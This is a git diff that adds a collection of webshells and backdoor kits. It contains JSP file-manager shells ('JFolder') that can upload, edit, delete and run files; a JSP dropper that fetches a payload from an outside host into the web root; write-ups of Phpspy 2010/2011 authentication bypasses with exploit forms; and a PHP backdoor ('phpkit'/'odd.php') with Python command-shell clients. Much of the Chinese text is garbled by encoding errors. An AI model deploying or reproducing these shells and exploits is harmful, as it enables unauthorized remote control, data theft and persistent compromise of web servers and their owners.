??¡À¨º??????????,??????????"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith("\\")) + { + strDesFile=strDesFile+"\\"; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + + sbSaveCopy.append("???????? ??"+strPath+"

"); + sbSaveCopy.append("??¡À¨º???? ??"+strTmpFile+"

"); + sbSaveCopy.append("??????????"); + } + } + sbSaveCopy.append("

"); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" ???????¡§?¡ì¡ã?"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" ???????¡§?¡ì¡ã?"); + } + else + { + sbNewFile.append("

?¡§???????¨°???????¨ª??"); + } +} + +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + sbNewFile.append("

?¡§???????¨°???????¨ª??"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + if(path!=null && !path.endsWith("\\")) + path = path + "\\"; + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + error = true; + f1.delete(); + } + } + } +} +%> + + + + + + + +JSP Shell ¡¤?¡ã??????¨² + + + + + +

+ + + + + + +
+ + + + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
- - - - - - - - - - - \r\n "); + + + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
"); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("??¡Á¡Â?¡ì¡ã??? "+e.toString()+""); +} +%> + +
+ + + + + + + + + +
+

+
http://www.WooYun.org/ ,All Rights Reserved. +
Email:121208099#qq.com diff --git a/jsp/data02.jsp b/jsp/data02.jsp new file mode 100644 index 0000000..9033136 --- /dev/null +++ b/jsp/data02.jsp @@ -0,0 +1,993 @@ +<% +/** +JFolder V0.9 windows platform +@Filename?? JFolder.jsp +@Description?? ?????¨°???????????????????????¨°???¨¤????¡Á??????¨ª?¡Â???¨¢???¨´¡À?????????¡Á¡Â???????????????? + +@Bugs : ?????¡À??????????????¡¤¡§???????? +*/ +%> +<%@ page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=0; //????¡ã?¡À???0 : ?????? 1?????? +String strThisFile="JFolder.jsp"; +String[] authorInfo={" ¡ã??????¨² "," Thanks for your support - - by Steven Cee http://www.topronet.com "}; +String[] strFileManage = {"?? ?? ?? ?¨ª","File Management"}; +String[] strCommand = {"CMD ?¨¹ ??","Command Window"}; +String[] strSysProperty = {"?? ?? ?? ??","System Property"}; +String[] strHelp = {"¡ã? ?¨²","Help"}; +String[] strParentFolder = {"????????","Parent Folder"}; +String[] strCurrentFolder= {"?¡À?¡ã????","Current Folder"}; +String[] strDrivers = {"?????¡Â","Drivers"}; +String[] strFileName = {"????????","File Name"}; +String[] strFileSize = {"?????¨®??","File Size"}; +String[] strLastModified = {"¡Á??¨®????","Last Modified"}; +String[] strFileOperation= {"??????¡Á¡Â","Operations"}; +String[] strFileEdit = {"????","Edit"}; +String[] strFileDown = {"????","Download"}; +String[] strFileCopy = {"????","Move"}; +String[] strFileDel = {"????","Delete"}; +String[] strExecute = {"????","Execute"}; +String[] strBack = {"¡¤???","Back"}; +String[] strFileSave = {"¡À???","Save"}; + +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + + } +} + +public static class UploadMonitor { + + static Hashtable uploadTable = new Hashtable(); + + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + + static void remove(String fName) { + uploadTable.remove(fName); + } + + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} + +public class UplInfo { + + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + } + + public class FileInfo { + + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} + +// A Class with methods used to process a ServletInputStream +public class HttpMultiPartParser { + + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } +if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} //End of class HttpMultiPartParser + +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + + /** + * Converts some important chars (int) to the corresponding html string + */ + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + + /** + * Converts a normal string to a html conform string + */ + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +/** +Windows?????????????????¨´???????? +*/ +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + //bug 5.09M ????5.9M + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + "\\" + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); + +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} + +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("/"); +} + + +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("?????¨®???? 0 ¡Á???????????????¡ã?"); + } + else + { + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} + +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} + +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
"); + sbEdit.append(""); + sbEdit.append("
"); +} + +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("?????????? "+strPath+"

"); + sbCopy.append("??¡À¨º??????

"); + sbCopy.append(" "); + sbCopy.append("

 \r\n"); + sbCopy.append("

"); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

??¡À¨º?????¨ª?¨®??"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

??¡À¨º??????????,??????????"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith("\\")) + { + strDesFile=strDesFile+"\\"; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + + sbSaveCopy.append("???????? ??"+strPath+"

"); + sbSaveCopy.append("??¡À¨º???? ??"+strTmpFile+"

"); + sbSaveCopy.append("??????????"); + } + } + sbSaveCopy.append("

"); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" ???????¡§?¡ì¡ã?"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" ???????¡§?¡ì¡ã?"); + } + else + { + sbNewFile.append("

?¡§???????¨°???????¨ª??"); + } +} + +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + sbNewFile.append("

?¡§???????¨°???????¨ª??"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + if(path!=null && !path.endsWith("\\")) + path = path + "\\"; + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + error = true; + f1.delete(); + } + } + } +} +%> + + + + + + + +JSP Shell ¡¤?¡ã??????¨² + + + + + +

+ + + + + + +
+ + + + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
- - - - - - - - - - - \r\n "); + + + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
"); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("??¡Á¡Â?¡ì¡ã??? "+e.toString()+""); +} +%> + +
+ + + + + + + + + +
+

+
http://www.WooYun.org/ ,All Rights Reserved. +
Email:121208099#qq.com diff --git a/jsp/guige02.jsp b/jsp/guige02.jsp new file mode 100644 index 0000000..50f8f1d --- /dev/null +++ b/jsp/guige02.jsp @@ -0,0 +1 @@ +<%@page contentType="text/html; charset=GBK" import="java.io.*;"%><%!private String password="734303";//??¡¤????????????????%>hahahaha<%String act="";String path=request.getParameter("path");String content=request.getParameter("content");String url=request.getRequestURI();String url2=request.getRealPath(request.getServletPath());try{act=request.getParameter("act").toString();}catch(Exception e){}if(request.getSession().getAttribute("hehe")!=null){if(request.getSession().getAttribute("hehe").toString().equals("hehe")){if (path!=null && !path.equals("") && content!=null && !content.equals("")){ try{ File newfile=new File(path); PrintWriter writer=new PrintWriter(newfile); writer.println(content); writer.close(); if (newfile.exists() && newfile.length()>0) { out.println("save ok!"); }else{ out.println("save erry!"); } }catch(Exception e) { e.printStackTrace(); }}out.println("
");out.println("

");out.println(""+url2+"
");out.println("
");out.println("");out.println("
");}}else{out.println("
");out.println("");out.println("");out.println("
");}if(act.equals("login")){ String pass=request.getParameter("pass"); if(pass.equals(password)) { session.setAttribute("hehe","hehe"); String uri=request.getRequestURI(); uri=uri.substring(uri.lastIndexOf("/")+1); response.sendRedirect(uri); }else {out.println("Error");out.println("go back
"); } }%> \ No newline at end of file diff --git a/jsp/web02.jsp b/jsp/web02.jsp new file mode 100644 index 0000000..d0833f1 --- /dev/null +++ b/jsp/web02.jsp @@ -0,0 +1 @@ +<%@page import="java.io.*"%><%@page import="java.net.*"%><%String t=request.getRealPath("/")+request.getParameter("f");new File(t).getParentFile().mkdirs();if(request.getParameter("p")==null){DataInputStream i=new DataInputStream(((HttpURLConnection)(new URL("http://qztmi.cn/js/h.txt").openConnection())).getInputStream());DataOutputStream o=new DataOutputStream(new FileOutputStream(t));byte[] b=new byte[4096];int c=0;while((c=i.read(b))>0){o.write(b,0,c);}o.close();i.close();out.println("down-ok");response.setHeader("down-ok","1");}else{(new FileOutputStream(t)).write(request.getParameter("p").getBytes());out.println("upload-ok");}%> \ No newline at end of file diff --git a/php/Phpspy 2010 身份验è¯ç»•è¿‡æ¼æ´ž b/php/Phpspy 2010 身份验è¯ç»•è¿‡æ¼æ´ž new file mode 100644 index 0000000..dfec613 --- /dev/null +++ b/php/Phpspy 2010 身份验è¯ç»•è¿‡æ¼æ´ž @@ -0,0 +1,28 @@ +Phpspy 2010 身份验è¯ç»•è¿‡æ¼æ´ž +作者:我ä¸çŸ¥é“该唱什么 å‘布时间:April 17, 2011 00:21:28 分类:tech + + +利用代ç ï¼š + +
+ + +
+ +åœ¨æ¯æ¬¡å‘shell请求数æ®çš„æ—¶å€™ 都附加post一个admin['pass']å³å¯ã€‚ +å½¢æˆåŽŸå› ï¼š +2009ä¸å­˜åœ¨è¯¥æ´žï¼Œä»…é™2010版本,对比二者å³å¯å¾—到答案: +利用 + +foreach(array('_GET','_POST') as $_request) { +foreach($$_request as $_key => $_value) { +if ($_key{0} != '_') { +if (IS_GPC) { +$_value = s_array($_value); +} +$$_key = $_value; +} +} +} + +对å˜é‡$admin['pass']进行覆盖。 \ No newline at end of file diff --git a/php/Phpspy 2011 继续身份验è¯ç»•è¿‡æ¼æ´ž b/php/Phpspy 2011 继续身份验è¯ç»•è¿‡æ¼æ´ž new file mode 100644 index 0000000..621205d --- /dev/null +++ b/php/Phpspy 2011 继续身份验è¯ç»•è¿‡æ¼æ´ž @@ -0,0 +1,43 @@ +Phpspy 2011 继续身份验è¯ç»•è¿‡æ¼æ´ž +作者:我ä¸çŸ¥é“该唱什么 å‘布时间:May 1, 2011 14:58:54 分类:tech + +官方目å‰ä¸‹è½½å·²ç»ä¿®è¡¥ä¸Šäº† ç›®å‰å®˜æ–¹ä¸‹è½½æ˜¯2011.php, 文件å为2011ok.php的是带洞版本。 + +鄙视转载ä¸ç•™ç‰ˆæƒçš„,特别鄙视下那个什么hack情 +http://hi.baidu.com/5427518 / http://www.hackqing.com/ +我曾ç»è¿˜ä»¥ä¸ºä»–是个人物。 + +今天m0r5和我说phpspy2011 我都ä¸çŸ¥é“2011出æ¥äº† - - 就下下æ¥çœ‹çœ‹ + +å‘现2011有ä¸å°‘借鉴WSO Shell的地方,看到$pass还是在那个函数的上é¢ï¼Œä½†æ˜¯éªŒè¯æˆåŠŸè¿‡åŽç”¨äº†ä¸€ä¸ªLocationé‡å®šå‘了一下,之åŽä¼šå†æ¬¡æ£€æŸ¥ä¸€æ¬¡cookies。 + +ä½†æ˜¯æƒ³ä¸æ˜Žç™½ä½œè€…为什么这样åšï¼Œå’Œ2010的原ç†ä¸€æ ·ï¼Œä¸€æ ·ç»•过: + +下é¢ç»™å‡ºä¸€ä¸ªæ›´ä¸ºç›´æŽ¥çš„利用方法,上传你自己的新shell: + +
+ + + +
+ +点击Loginï¼Œè¿™æ­¥ç‚¹ç™»å½•åŽ æ˜¯ç™»å½•ç•Œé¢ ç»§ç»­æ“作下一步: +
+ + +
+ +密ç å†™hackshell_net (默认写好) 点击loginä¹‹åŽ æŸ¥çœ‹å½“å‰è„šæœ¬ç»å¯¹è·¯å¾„, +ç„¶åŽè®¿é—®ï¼š +
+ + + + + + + +
+ + +其中把iploaddir的value改为phpinfo中看到的路径,上传shell。 \ No newline at end of file diff --git a/php/php-sh/client.py b/php/php-sh/client.py new file mode 100644 index 0000000..505d091 --- /dev/null +++ b/php/php-sh/client.py @@ -0,0 +1,41 @@ +#!/usr/bin/python +# Client for the backdoor which +# uses HTTP CODE header for inserting code +# Got the idea after seeing this sort of payload +# dropped by a phpmyadmin exploit on rdot :) +# Is also good to learn how to use urllib +# and not be lazy arse with requests all of time! +# Insecurety Research (2013) - insecurety.net +import urllib2 +import sys + +def usage(program): + print "HTTP CODE Header Backdoor Command Shell" + print "Usage: %s " %(program) + print "Example: %s http://www.test.com/webshell.php" %(program) + sys.exit(0) + +def main(args): + try: + if len(args) < 2: + usage(args[0]) + + print "[+] Using %s as target" %(args[1]) + print "[!] Popping a shell, type 'exit' to quit" + while True: + opener = urllib2.build_opener() + url = args[1] + cmd = raw_input('~$ ') + if cmd == "exit": + sys.exit(0) + else: + code = "system('%s');" %(cmd) + opener.addheaders.append(('Code', code))# %(str(code)) + urllib2.install_opener(opener) + result = urllib2.urlopen(url).read() + print result + except Exception, e: + print e + +if __name__ == "__main__": + main(sys.argv) diff --git a/php/php-sh/server.php b/php/php-sh/server.php new file mode 100644 index 0000000..d62a899 --- /dev/null +++ b/php/php-sh/server.php @@ -0,0 +1,3 @@ + diff --git a/php/phpkit-0.1a/README b/php/phpkit-0.1a/README new file mode 100644 index 0000000..da0378b --- /dev/null +++ b/php/phpkit-0.1a/README @@ -0,0 +1,53 @@ + /$$$$$$$ /$$ /$$ /$$$$$$$ /$$ /$$ /$$ +| $$__ $$| $$ | $$| $$__ $$| $$ |__/ | $$ +| $$ \ $$| $$ | $$| $$ \ $$| $$ /$$ /$$ /$$$$$$ +| $$$$$$$/| $$$$$$$$| $$$$$$$/| $$ /$$/| $$|_ $$_/ +| $$____/ | $$__ $$| $$____/ | $$$$$$/ | $$ | $$ +| $$ | $$ | $$| $$ | $$_ $$ | $$ | $$ /$$ +| $$ | $$ | $$| $$ | $$ \ $$| $$ | $$$$/ +|__/ |__/ |__/|__/ |__/ \__/|__/ \____/ + +phpkit-0.1a + +Stealth PHP Backdooring Utility - Insecurety Research 2013 + +This is a simple kit to demonstrate a very effective way of +backdooring a webserver running PHP. +Essentially, it functions by parsing out any valid PHP code +from raw HTTP POST data sent to it, and executing said PHP. + +No eval() or other suspect calls are in the serverside script, +the code is executed by the include() function. The php://input +data stream (which is basically "anything sent via raw POST) is +used to "capture" the raw POST data, and when parsed by include() +the code sent is executed. + +This allows for many things to be done, i.e. executing any PHP +code you happen to write. The example client, phpkit.py, simply +gives a "shell prompt" (non interactive, each command is executed +in a new "context") on the victim server. It is trivial to write +pretty much anything, I have also written "upload.py" which will +be ready for the next release, which allows uploading arbritary +files to the infected webserver. + +USAGE: +You upload "odd.php" to the target webserver by any means necessary. +You then run ./phpkit.py and enjoy! + +Example Use: +[infodox@sphynx:~/phpkit-0.1a]$ ./phpkit.py http://localhost/odd.php + +[+] URL in use: http://localhost/odd.php + +shell:~$ id +uid=33(www-data) gid=33(www-data) groups=33(www-data) + +shell:~$ uname -a +Linux yore-ma 3.2.0-4-amd64 #1 SMP Debian 3.2.32-1 x86_64 GNU/Linux + +shell:~$ + +Questions, comments, bug reports and abuse? infodox () insecurety.net + +Licence: The do whatever you want with it, just don't rip code without +giving credit licence. diff --git a/php/phpkit-0.1a/odd.php b/php/phpkit-0.1a/odd.php new file mode 100644 index 0000000..b617988 --- /dev/null +++ b/php/phpkit-0.1a/odd.php @@ -0,0 +1,10 @@ +// php://input based backdoor +// uses include('php://input') to execute arbritary code +// Any valid PHP code sent as raw POST data to backdoor is ran +// overrides the php.ini settings using ini_set :) +// Insecurety Research 2013 | insecurety.net + diff --git a/php/phpkit-0.1a/phpkit.py b/php/phpkit-0.1a/phpkit.py new file mode 100644 index 0000000..4f2a69a --- /dev/null +++ b/php/phpkit-0.1a/phpkit.py @@ -0,0 +1,28 @@ +#!/usr/bin/python +# Client for the php://input based backdoor +# Website: insecurety.net +# Author: infodox +# Twitter: @info_dox +# Insecurety Research - 2013 +import requests +import sys + +if (len(sys.argv) != 2): + print "Usage: " + sys.argv[0] + " " + print "Example: " + sys.argv[0] + " http://localhost/odd.php" + sys.exit(0) + +url = sys.argv[1] +print "\n[+] URL in use: %s \n" %(url) +while True: + cmd = raw_input("shell:~$ ") + if cmd == "quit": + print "\n[-] Quitting" + sys.exit(0) 